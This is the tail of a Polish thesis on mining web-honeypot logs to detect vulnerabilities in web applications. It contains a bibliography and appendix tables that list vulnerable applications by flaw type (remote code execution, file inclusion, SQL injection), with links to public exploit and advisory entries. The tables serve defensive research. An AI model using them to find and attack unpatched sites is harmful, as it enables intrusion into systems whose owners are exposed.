Poniewaz w trakcie eksperymentów wzorce wyskakujace dawały bardzo obiecu-jace wyniki, to w nastepnej kolejnosci, powstały w ramach pracy system, moznazintegrowac z działajaca siecia systemów honeypot. Dalsze prace moga tez obejmo-wac badania innych protokołów sieciowych.

Rozwój samej aplikacji moze dotyczyc zaimplementowania dodatkowych funk-cjonalnosci opisanych w rozdziale 5. W głównej mierze dotyczy to rozszerzeniainterfejsu uzytkownika o dodatkowe ekrany oraz nowe funkcjonalnosci, tj. koloro-wanie wzorców oraz wyswietlania ich w postaci grafów.

Page 66: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Spis literatury

[1] Rakesh Agrawal, Ramakrishnan Srikant. Fast Algorithms for Mining Association Rules.[2] Rakesh Agrawal, Ramakrishnan Srikant. Mining Sequential Patterns.[3] Marco Balduzzi. Automated Detection of HPP Vulnerabilities in Web Applications.[4] Łukasz Bednaszynski. Systemy Honeypot dla aplikacji WWW. Politechnika Warszaw-

ska, 2010.[5] Doug Burdick, Manuel Calimlim, Johannes Gehrke. MAFIA: A Maximal Frequent

Itemset Algorithm for Transactional Databases. Department of Computer Science,Cornell University.

[6] Steve Christey, Robert, A. Martin. Vulnerability Type Distributions in CVE.http://cwe.mitre.org/documents/vuln-trends.html.

[7] Usama Fayyad, Gregory Piatetsky-Shapiro, and Padhraic Smyth. From Data Mining toKnowledge Discovery in Databases.

[8] Patryk Krawaczynski. Podstawy bezpieczenstwa PHP. Full Path Disclosure. http://nfsec.pl/security/285.

[9] Jinyan Li. Mining emerging patterns to construct accurate and efficient classifiers. TheUniversity of Melbourne 2001.

[10] Mikołaj Morzy. Eksploracja danych – przeglad dostepnych metod i dziedzin zastoso-wan. Politechnika Poznanska.

[11] Agnieszka Pasztyła Analiza koszykowa danych transakcyjnych cele i metody.[12] Code Injection. https://www.owasp.org/index.php/Code_Injection[13] Cron. http://linux.die.net/man/8/cron[14] Crontab. http://linux.die.net/man/5/crontab[15] Dionaea. http://dionaea.carnivore.it/[16] Django. http://www.djangoproject.com/[17] Django models. https://docs.djangoproject.com/en/dev/topics/db/models/[18] Full Path Disclosure. https://www.owasp.org/index.php/Full_Path_Disclosure[19] Improper Control of Filename for Include/Require Statement in PHP Program (’PHP File

Inclusion’). http://cwe.mitre.org/data/definitions/98.html[20] Improper Limitation of a Pathname to a Restricted Directory (’Path Traversal’). http:

//cwe.mitre.org/data/definitions/22.html[21] Libpcap File Format, http://wiki.wireshark.org/Development/Libpcap

FileFormat[22] MAFIA Code Documentation, http://himalaya-tools.sourceforge.net/Mafia/

doxygen-Mafia/index.html[23] Model-View-Controller. http://msdn.microsoft.com/en-us/library/ff649643.

aspx[24] Nepenthes. http://nepenthes.carnivore.it/[25] OWASP Top Ten Project, https://www.owasp.org/index.php/Category:OWASP_

Top_Ten_Project[26] Python. http://www.python.org/[27] Strategy Design Pattern. http://sourcemaking.com/design_patterns/strategy[28] tcpdump, http://www.tcpdump.org/[29] The MD5 Message-Digest Algorithm. http://www.ietf.org/rfc/rfc1321.txt[30] Using Register Globals, http://php.net/manual/en/security.globals.php

Page 67: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

Załaczniki

Page 68: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A

Ponizszy załacznik zawiera liste wszystkich podatnosci wykrytych w trakcie pro-wadzenia eksperymentów. Podatnosci zostały przeze mnie podzielone wzgledemrodzaju. Tabela A.1 zawiera spis wykrytych podatnosci typu remote code execu-tion. Tabele A.2 i A.3 przedstawiaja odpowiednio nastepujace podatnosci: local fileinclusion oraz SQL injection.

aplikacja opis podatnosci data wykrycia

abWebNews http://osvdb.org/show/osvdb/27670 13.06.2006

AllMyLinks http://osvdb.org/show/osvdb/6721 14.02.2004

BlackBoard InternetNewsboard

http://osvdb.org/10538 06.10.2004

Cacti http://osvdb.org/17425 12.05.2005

CafeLog http://osvdb.org/show/osvdb/50532 29.05.2003

Centreon http://osvdb.org/39226 14.12.2007

com_jpack http://osvdb.org/37573 17.04.2007

com_loudmounth http://osvdb.org/show/osvdb/27430 17.07.2006

com_mosmedia http://osvdb.org/38588 08.10.2007

com_zoom http://osvdb.org/show/osvdb/35293 11.04.2007

Coppermine PhotoGallery

http://www.osvdb.org/5761 29.04.2004

cpCommerce http://osvdb.org/show/osvdb/2702 19.10.2003

CuteNews http://osvdb.org/show/osvdb/6052 25.02.2003

DCP - Portal http://osvdb.org/show/osvdb/7026 04.01.2003

dotProject http://osvdb.org/show/osvdb/3592 29.01.2003

e107 http://osvdb.org/show/osvdb/6530 29.05.2004

easyPHPCalendar http://osvdb.org/show/osvdb/17734 05.07.2005

Galleryhttp://www.securityfocus.com/archive/1/351449

27.01.2004

Gemitel http://osvdb.org/5396 15.04.2004

GNUBoard http://osvdb.org/show/osvdb/12389 06.12.2004

GoSamba http://osvdb.org/show/osvdb/40705 27.10.2007

Help Center Live http://osvdb.org/12598 24.12.2004

IdeaBox http://osvdb.org/show/osvdb/50128 25.06.2008

Page 69: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 64

aplikacja opis podatnosci data wykrycia

Jaws http://osvdb.org/show/osvdb/17792 06.07.2005

Joomla Clickheathttp://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5793

31.12.2008

Joomla RSS managerComponent

http://www.exploit-db.com/exploits/7040/

07.11.2008

KorWeblog http://osvdb.org/show/osvdb/12680 23.12.2004

myPHPCalendar http://osvdb.org/show/osvdb/53790 12.10.2003

Phorum http://osvdb.org/show/osvdb/11141 17.05.2002

PHP Hosting Directory http://osvdb.org/show/osvdb/47354 29.07.2008

PHP Project Manage-ment

http://osvdb.org/41913 21.10.2007

phpalbum http://osvdb.org/show/osvdb/74981 31.03.2011

phpforum http://osvdb.org/12598 24.12.2004

PHPNuke http://secunia.com/advisories/15244/ 02.05.2005

phpopenchat http://osvdb.org/show/osvdb/30710 06.09.2006

phpProfiles http://osvdb.org/show/osvdb/42370 23.02.2008

phpraid http://osvdb.org/25358 08.05.2006

PollVote http://osvdb.org/show/osvdb/20850 13.11.2005

ProdLer http://osvdb.org/show/osvdb/58298 21.09.2009

rgBoard http://osvdb.org/show/osvdb/45468 14.05.2008

vBulletin ImpEX http://osvdb.org/24070 22.03.2006

vCard http://osvdb.org/show/osvdb/20699 25.10.2005

W-Agora http://osvdb.org/show/osvdb/27202 22.06.2006

Webfroot shoutboxhttp://www.securityfocus.com/bid/7775/discuss

02.06.2003

WEBInsta Mailing http://osvdb.org/show/osvdb/14636 10.03.2005

WHM Autopilot http://osvdb.org/12694 28.12.2004

Wikiwig http://osvdb.org/show/osvdb/26186 06.06.2006

WSC - WebPortal http://osvdb.org/show/osvdb/30800 25.11.2002

ZeroBoard http://osvdb.org/12932 31.12.2004

4nAlbum http://osvdb.org/4292 15.03.2004

ABG http://osvdb.org/show/osvdb/47381 01.08.2008

acal http://osvdb.org/show/osvdb/25340 07.05.2006

Advanced CommentSystem

http://osvdb.org/show/osvdb/57988 10.09.2009

advanced pool http://osvdb.org/25169 25.10.2003

com_akocomment http://osvdb.org/show/osvdb/29356 19.08.2006

Page 70: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 65

aplikacja opis podatnosci data wykrycia

Antonis Ventouris We-ather

http://osvdb.org/37435 11.04.2007

BackUpWordPress http://osvdb.org/38479 01.11.2007

Be2004-2 http://osvdb.org/37572 17.04.2007

blnews http://www.osvdb.org/4923 24.05.2003

CBSMS http://osvdb.org/show/osvdb/26862 26.06.2006

CityWriter http://osvdb.org/show/osvdb/39151 13.12.2007

CMS Faethon http://osvdb.org/show/osvdb/44835 07.05.2008

com_colophon http://osvdb.org/27659 29.07.2006

com_a6mambohelpdesk http://osvdb.org/show/osvdb/27654 31.07.2006

com_artlinks http://osvdb.org/show/osvdb/28078 29.07.2006

com_babackuphttp://www.exploit-db.com/exploits/2225/

19.08.2006

com_bayesiannaivefilter http://osvdb.org/show/osvdb/29868 30.07.2006

com_chronocontact http://osvdb.org/show/osvdb/41204 30.01.2008

com_color http://osvdb.org/40609 12.10.2007

com_cropimage http://osvdb.org/show/osvdb/28099 19.08.2006

com_dadamailhttp://www.exploit-db.com/exploits/7002/

05.11.2008

com_dbquery http://osvdb.org/show/osvdb/55546 04.07.2008

com_extcalendarhttp://www.exploit-db.com/exploits/2022/

17.07.2006

com_extended_ regi-stration

http://osvdb.org/show/osvdb/32513 26.10.2006

com_facileforms http://osvdb.org/show/osvdb/46872 23.06.2008

com_galleria http://osvdb.org/27010 03.07.2006

com_googlebase http://osvdb.org/49529 04.11.2008

com_hashcash http://osvdb.org/show/osvdb/14566 06.03.2005

com_htmlarea3_xtd-c http://osvdb.org/show/osvdb/31839 12.07.2006

com_jcs http://osvdb.org/43622 10.10.2007

com_jjgallery http://osvdb.org/show/osvdb/39496 16.11.2007

com_joom12pic http://osvdb.org/show/osvdb/37138 16.09.2007

com_jfu http://osvdb.org/show/osvdb/40606 11.10.2007

com_joomla-visites http://osvdb.org/show/osvdb/66821 25.04.2008

com_joomlaflashfun http://osvdb.org/show/osvdb/37139 16.09.2007

com_joomlaradiov5 http://www.osvdb.org/37028 13.09.2007

com_jreactions http://osvdb.org/show/osvdb/39060 03.08.2007

Page 71: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 66

aplikacja opis podatnosci data wykrycia

com_juserhttp://www.exploit-db.com/exploits/4636/

19.11.2007

com_kochsuitehttp://www.exploit-db.com/exploits/2215/

18.08.2006

com_linkdirectoryhttp://www.exploit-db.com/exploits/2214/

18.08.2006

com_lmo http://osvdb.org/show/osvdb/28996 31.07.2006

com_lur_constructor http://osvdb.org/show/osvdb/28935 19.08.2006

com_mambelfish http://osvdb.org/show/osvdb/27989 17.08.2006

com_mambowiki http://osvdb.org/show/osvdb/28089 18.08.2006

com_mmp http://osvdb.org/show/osvdb/27947 14.08.2006

com_moodle http://osvdb.org/show/osvdb/29870 23.07.2006

com_mp3_allopasshttp://www.exploit-db.com/exploits/4507/

10.10.2007

com_multibannershttp://www.exploit-db.com/exploits/2066/

23.07.2006

com_ongumatimesheet20http://www.exploit-db.com/exploits/6976/

04.11.2008

com_onlineflashquiz http://osvdb.org/show/osvdb/44245 02.04.2008

com_panoramic http://osvdb.org/38585 01.10.2007

com_pccookbook http://osvdb.org/show/osvdb/27422 10.07.2006

com_pollxt http://osvdb.org/show/osvdb/27429 17.07.2006

com_remository http://osvdb.org/show/osvdb/27903 10.08.2006

com_securityimages http://osvdb.org/27656 28.07.2006

com_serverstat http://osvdb.org/show/osvdb/28831 14.09.2006

com_sitemap http://osvdb.org/27423 12.07.2006

com_smf http://osvdb.org/show/osvdb/27432 17.07.2006

com_treeg http://osvdb.org/49499 01.11.2008

com_uhp http://osvdb.org/show/osvdb/27651 30.07.2006

com_vehiclemanager http://osvdb.org/show/osvdb/56647 09.06.2009

com_videodb http://osvdb.org/show/osvdb/27431 17.07.2006

com_wmtgallery http://osvdb.org/38645 07.10.2007

COmbo System http://osvdb.org/show/osvdb/24892 22.04.2006

Comdev faq support http://osvdb.org/show/osvdb/29299 27.09.2006

Community Builder http://osvdb.org/show/osvdb/28241 25.08.2006

cubecart http://osvdb.org/show/osvdb/22218 03.01.2006

Docebo LMShttp://www.exploit-db.com/exploits/1828/

25.05.2006

Page 72: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 67

aplikacja opis podatnosci data wykrycia

Dolphin http://osvdb.org/show/osvdb/31004 17.10.2006

Drunken:Golem Ga-ming Portal

http://osvdb.org/show/osvdb/61856 10.09.2009

encapsBB http://osvdb.org/15078 26.03.2005

Enthusiast http://osvdb.org/show/osvdb/49676 08.11.2008

ezcontent http://www.osvdb.org/3912 11.02.2004

Falcon Series One http://osvdb.org/40986 10.12.2007

FlashChat http://osvdb.org/show/osvdb/28435 04.09.2006

Free Directory Script http://osvdb.org/49923 18.11.2008

gbook http://osvdb.org/51716 03.02.2009

GRBoard http://osvdb.org/show/osvdb/52070 04.02.2009

HIOX Random Ad http://osvdb.org/show/osvdb/47222 30.07.2008

htmltonuke http://www.osvdb.org/27908 17.01.2006

iContent http://osvdb.org/show/osvdb/35381 01.06.2007

indexu http://osvdb.org/28410 11.04.2006

IziContents http://osvdb.org/show/osvdb/39582 21.09.2007

Japanese PHP GalleryHosting,

http://osvdb.org/39015 23.10.2007

mambatstaffhttp://www.exploit-db.com/exploits/2086/

29.07.2006

minibb http://www.osvdb.org/18960 16.08.2005

ModernBill http://osvdb.org/show/osvdb/49813 31.10.2008

MODx CMShttp://www.exploit-db.com/exploits/7204/

23.11.2008

mosDirectory http://osvdb.org/40023 24.12.2007

MosXML http://osvdb.org/show/osvdb/50101 25.06.2008

MySpace ResourceScript

http://osvdb.org/38838 29.10.2007

Net_DNS http://osvdb.org/show/osvdb/30014 22.10.2006

OpenPHPNuke http://osvdb.org/show/osvdb/25140 29.04.2006

osticket http://www.osvdb.org/16278 02.05.2005

Ourvideo cms http://osvdb.org/show/osvdb/46854 23.06.2008

Pearlinger MultipleProducts

http://osvdb.org/show/osvdb/27172 27.06.2006

Pearlinger.com http://osvdb.org/show/osvdb/27177 27.06.2006

PeopleAggregator http://osvdb.org/45501 11.11.2007

PHP Live! http://osvdb.org/show/osvdb/27448 23.07.2006

Page 73: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 68

aplikacja opis podatnosci data wykrycia

phpauctionsystemhttp://www.exploit-db.com/exploits/7678/

06.01.2009

phpgreetz http://osvdb.org/show/osvdb/21357 26.11.2005

phpMyAgenda http://osvdb.org/24943 24.04.2006

phpRaider http://osvdb.org/show/osvdb/45602 24.05.2008

phprojekt http://www.osvdb.org/12613 28.12.2004

PHPShop http://osvdb.org/show/osvdb/28150 17.08.2006

phpSkelSite http://osvdb.org/51215 02.01.2009

PHPWAY KostenlosesLinkmanagement-script

http://osvdb.org/show/osvdb/45222 14.05.2008

phpyabs http://osvdb.org/show/osvdb/52149 06.02.2009

Podcast Generator http://osvdb.org/show/osvdb/42565 28.02.2008

ProjectButler http://osvdb.org/show/osvdb/57154 03.08.2009

prolistpro http://www.osvdb.org/24540 11.04.2006

Realtor 747 http://osvdb.org/show/osvdb/51315 12.01.2009

RPortal CMS http://osvdb.org/show/osvdb/48808 01.10.2008

Savant2 http://osvdb.org/show/osvdb/29933 22.10.2006

SERweb http://osvdb.org/show/osvdb/39219 06.12.2007

SezHoo http://osvdb.org/show/osvdb/49279 14.10.2008

Simple RSS Reader http://osvdb.org/show/osvdb/49859 11.11.2008

Simple Text-File Login http://osvdb.org/50711 14.12.2008

SMA-DB http://osvdb.org/show/osvdb/54143 02.02.2009

SourDough http://osvdb.org/show/osvdb/51822 02.02.2009

Streamline PHP MediaServer

http://osvdb.org/38294 19.09.2007

SupaNav http://osvdb.org/36275 18.07.2007

TaskHopper http://osvdb.org/show/osvdb/34795 10.04.2007

Technote http://osvdb.org/48166 17.09.2008

total calendar http://osvdb.org/show/osvdb/25237 23.04.2006

ubb.threads http://www.osvdb.org/26121 27.05.2006

V-webmail http://osvdb.org/show/osvdb/26086 25.05.2006

VWar http://osvdb.org/25301 22.04.2006

Waibrasilhttp://www.exploit-db.com/exploits/12562/

10.05.2010

Way Of The Warrior http://osvdb.org/show/osvdb/49544 04.11.2008

Page 74: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 69

aplikacja opis podatnosci data wykrycia

WebBiscuits ModulesController

http://osvdb.org/show/osvdb/51993 08.10.2008

webnews http://osvdb.org/show/osvdb/29227 26.09.2006

Yappa-ng http://www.osvdb.org/16559 11.05.2005

sniplets http://osvdb.org/show/osvdb/42253

phpmyadminhttp://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/

09.06.2009

AWStatshttp://www.securityfocus.com/archive/1/archive/1/495770/100/0/threaded

26.08.2008

hordehttp://www.securityfocus.com/bid/17292/info

28.03.2006

webcalendar http://osvdb.org/show/osvdb/18954 24.08.2005

Tabela A.1: Remote code execution

aplikacja opis podatnosci data wykrycia

XOOPShttp://www.exploit-db.com/exploits/5057/

04.02.2008

com_photobattlehttp://www.exploit-db.com/exploits/12232/

14.04.2010

com_linkrhttp://www.exploit-db.com/exploits/11756/

15.03.2010

com_memoryhttp://www.exploit-db.com/exploits/12176/

12.04.2010

com_zimbcorehttp://www.exploit-db.com/exploits/12284/

18.04.2010

com_worldrateshttp://www.exploit-db.com/exploits/12180/

12.04.2010

com_simplesdownloadhttp://www.exploit-db.com/exploits/12618/

16.05.2010

com_jwhmcshttp://www.exploit-db.com/exploits/12083/

06.04.2010

com_drawroothttp://www.exploit-db.com/exploits/12289/

18.04.2010

com_addressbookhttp://www.exploit-db.com/exploits/12170/

12.04.2010

com_joomlapicasa2http://www.exploit-db.com/exploits/12058/

04.04.2010

Page 75: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 70

aplikacja opis podatnosci data wykrycia

com_advertisinghttp://www.exploit-db.com/exploits/12171/

12.04.2010

com_ninjarsssyndicator http://osvdb.org/show/osvdb/62929 15.03.2010

com_mmsbloghttp://www.exploit-db.com/exploits/12318/

21.04.2010

com_s5clanrosterhttp://www.exploit-db.com/exploits/12231/

14.04.2010

com_jresearch http://osvdb.org/63147 24.03.2010

com_propertieshttp://www.securityfocus.com/bid/38912/discuss

23.03.2010

com_matamkohttp://www.exploit-db.com/exploits/12286/

18.04.2010

farsinewshttp://www.securityfocus.com/archive/1/archive/1/424720/100/0/threaded

10.02.2006

com_awdwallhttp://www.exploit-db.com/exploits/12113/

08.04.2010

com_lovefactoryhttp://www.exploit-db.com/exploits/12235/

14.04.2010

com_sebercarthttp://www.exploit-db.com/exploits/12082/

06.04.2010

com_redshop http://www.osvdb.org/63535 05.04.2010

com_jukeboxhttp://www.exploit-db.com/exploits/12084/

06.04.2010

com_loginboxhttp://www.exploit-db.com/exploits/12068/

05.04.2010

com_gadgetfactoryhttp://www.exploit-db.com/exploits/12285/

18.04.2010

com_janews http://osvdb.org/show/osvdb/62970 16.03.2010

com_ultimateportfoliohttp://www.exploit-db.com/exploits/12426/

27.04.2010

com_econtenthttp://www.exploit-db.com/exploits/11996/

01.04.2010

com_redtwitter http://osvdb.org/63533 04.04.2010

com_mtfireeaglehttp://www.exploit-db.com/exploits/12233/

14.04.2010

com_cvmakerhttp://www.exploit-db.com/exploits/12172/

12.04.2010

com_jacommenthttp://www.exploit-db.com/exploits/12236/

14.04.2010

com_smartsitehttp://www.exploit-db.com/exploits/12428/

27.04.2010

Page 76: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 71

aplikacja opis podatnosci data wykrycia

com_dwgraphshttp://www.exploit-db.com/exploits/11978/

31.03.2010

com_pcchesshttp://www.exploit-db.com/exploits/12123/

09.04.2010

com_if_surfalerthttp://www.exploit-db.com/exploits/12291/

18.04.2010

com_smestoragehttp://www.exploit-db.com/exploits/11853/

23.03.2010

com_jvehicleshttp://www.exploit-db.com/exploits/11997/

01.04.2010

com_wgpicasahttp://www.exploit-db.com/exploits/12230/

14.04.2010

com_beeheardhttp://www.exploit-db.com/exploits/12239/

14.04.2010

com_googlehttp://www.exploit-db.com/exploits/12290/

18.04.2010

ispCP Omega http://osvdb.org/show/osvdb/77305 24.04.2007

com_webeecommenthttp://www.exploit-db.com/exploits/12111/

08.04.2010

com_ckformshttp://www.exploit-db.com/exploits/15453/

08.11.2010

com_ganalysicshttp://www.exploit-db.com/exploits/11758/

15.03.2010

com_joommailhttp://www.exploit-db.com/exploits/12175/

12.04.2010

com_horoscope http://osvdb.org/show/ osvdb/63674 13.04.2010

com_tweetlahttp://www.exploit-db.com/exploits/12142/

11.04.2010

com_sbsfilehttp://www.exploit-db.com/exploits/11708/

13.03.2010

com_arcadegameshttp://www.exploit-db.com/exploits/12168/

12.04.2010

com_preventivehttp://www.exploit-db.com/exploits/12147/

11.04.2010

Php-proxima http://secunia.com/advisories/8808/ 20.05.2003

com_juliaportfoliohttp://www.exploit-db.com/exploits/11707/

12.03.2010

com_flexicontenthttp://www.exploit-db.com/exploits/12185/

12.04.2010

com_jinventoryhttp://www.exploit-db.com/exploits/12065/

05.04.2010

Page 77: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 72

aplikacja opis podatnosci data wykrycia

com_archeryscoreshttp://www.exploit-db.com/exploits/12282/

18.04.2010

com_joomlaupdaterhttp://www.exploit-db.com/exploits/12070/

05.04.2010

vmware http://www.osvdb.org/59440 27.10.2009

com_orgchart http://osvdb.org/show/osvdb/64593 21.04.2010

com_zimbcomment http://osvdb.org/show/osvdb/64247 18.04.2010

com_perchaimageattach http://osvdb.org/show/osvdb/64920 19.05.2010

com_simpledownload http://www.osvdb.org/64743 16.05.2010

Fusion News http://osvdb.org/show/osvdb/34450 21.05.2006

com_jajobboard http://secunia.com/advisories/39219/ 11.04.2010

com_jprojectmanager http://secunia.com/advisories/39282/ 13.04.2010

com_ticketbookhttp://www.exploit-db.com/exploits/12143/

11.04.2010

com_tweetla http://secunia.com/advisories/39258 12.04.2010

com_travelbook http://secunia.com/advisories/39254 12.04.2010

com_alphauserpoints http://secunia.com/advisories/39250 12.04.2010

com_spsnewsletterhttp://www.securityfocus.com/bid/39388/discuss

12.04.2010

com_powermail http://secunia.com/advisories/39226 12.04.2010

com_fooblahttp://www.exploit-db.com/exploits/12120/

09.04.2010

com_javoice http://secunia.com/advisories/39202 09.04.2010

com_userstatushttp://www.securityfocus.com/bid/39174

01.04.2010

com_juliaportfoliohttp://www.securityfocus.com/bid/38715/exploit

13.03.2010

com_mybloghttp://www.securityfocus.com/bid/38530/exploit

03.03.2010

osCSS2 http://osvdb.org/show/osvdb/77008 08.11.2011

NewsPHP http://secunia.com/advisories/9619/ 27.08.2003

ZeroBoard4 http://osvdb.org/show/osvdb/53514 06.02.2009

Webmin http://osvdb.org/osvdb/show/26771 04.06.2006

Tabela A.2: Local file inclusion

aplikacja opis podatnosci data wykrycia

JE Job http://secunia.com/advisories/39837 17.05.2010

Page 78: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 73

aplikacja opis podatnosci data wykrycia

com_artformshttp://www.allinfosec.com/2010/07/07/joomla-component-com_artforms-multiple-remote-vulnerabilities/

07.06.2010

com_sermonspeakerhttp://www.exploit-db.com/exploits/12184/

12.04.2010

com_bibliotecahttp://www.allinfosec.com/2010/08/24/joomla-component-com_biblioteca-1-0-beta-multiple-sql-injection/

24.08.2010

com_peoplehttp://www.allinfosec.com/2011/02/18/webapps-0day-joomla-component-1-0-0-com_people-sql-injection-vulnerability/

28.01.2011

com_ambloghttp://www.exploit-db.com/exploits/14596/

10.08.2010

com_simpleshophttp://www.exploit-db.com/exploits/14501/

29.07.2010

com_wallpapershttp://www.exploit-db.com/exploits/11867/

24.03.2010

com_easybookhttp://www.exploit-db.com/exploits/5740/

04.06.2008

com_packageshttp://www.exploit-db.com/exploits/12648/

18.05.2010

com_ewritinghttp://www.securityfocus.com/bid/28179/exploit

10.03.2008

com_bfquiztrialhttp://www.allinfosec.com/2010/05/29/joomla-component-com_bfquiztrial-sql-injection-vulnerability/

29.05.2010

com_rapidrecipehttp://www.securityfocus.com/bid/29593

05.07.2010

com_pandafminigameshttp://www.exploit-db.com/exploits/12270/

16.04.2010

com_equipmenthttp://www.allinfosec.com/2010/08/16/joomla-component-com_equipment-sql-injection-vulnerability/

16.07.2010

com_agencyhttp://www.exploit-db.com/exploits/11916/

28.03.2010

com_doc http://osvdb.org/show/ osvdb/41567 07.02.2008

com_jeajaxeventcalendarhttp://www.exploit-db.com/exploits/15610/

25.11.2010

com_xfaq http://osvdb.org/show/osvdb/41788 13.02.2008

com_jdirectoryhttp://www.securityfocus.com/bid/48998

03.08.2011

PHP competition sys-tem

http://www.exploit-db.com/exploits/9438/

14.08.2009

Page 79: Zastosowanie metod eksploracji danych do analizy logów ... · eksploracji danych do wykrywania nieznanych dotad˛ podatnosci´ aplikacji WWW z wykorzystaniem algorytmów wykrywania

A. Dodatek A 74

aplikacja opis podatnosci data wykrycia

com_spahttp://www.exploit-db.com/exploits/14423/

20.07.2010

com_qpersonel http://osvdb.org/63894 13.04.2010

com_youtubehttp://www.exploit-db.com/exploits/14467/

24.07.2010

com_formtool http://osvdb.org/show/osvdb/52137 18.02.2008

com_directory http://osvdb.org/show/osvdb/41513 03.02.2008

com_markthttp://www.exploit-db.com/exploits/15469/

09.11.2010

com_jp_jobshttp://www.exploit-db.com/exploits/12037/

03.04.2010

com_ownbibliohttp://www.exploit-db.com/exploits/6730/

11.10.2008

com_yellowpageshttp://www.exploit-db.com/exploits/14592/

09.08.2010

com_guide http://osvdb.org/show/osvdb/52092 15.03.2008

com_education_classeshttp://www.exploit-db.com/exploits/12153/

11.04.2010

com_fabrikhttp://www.exploit-db.com/exploits/14707/

21.08.2010

com_appointinator http://secunia.com/advisories/40779 28.07.2010

com_fantasytournamenthttp://www.exploit-db.com/exploits/7777/

14.01.2009

Tabela A.3: SQL incjection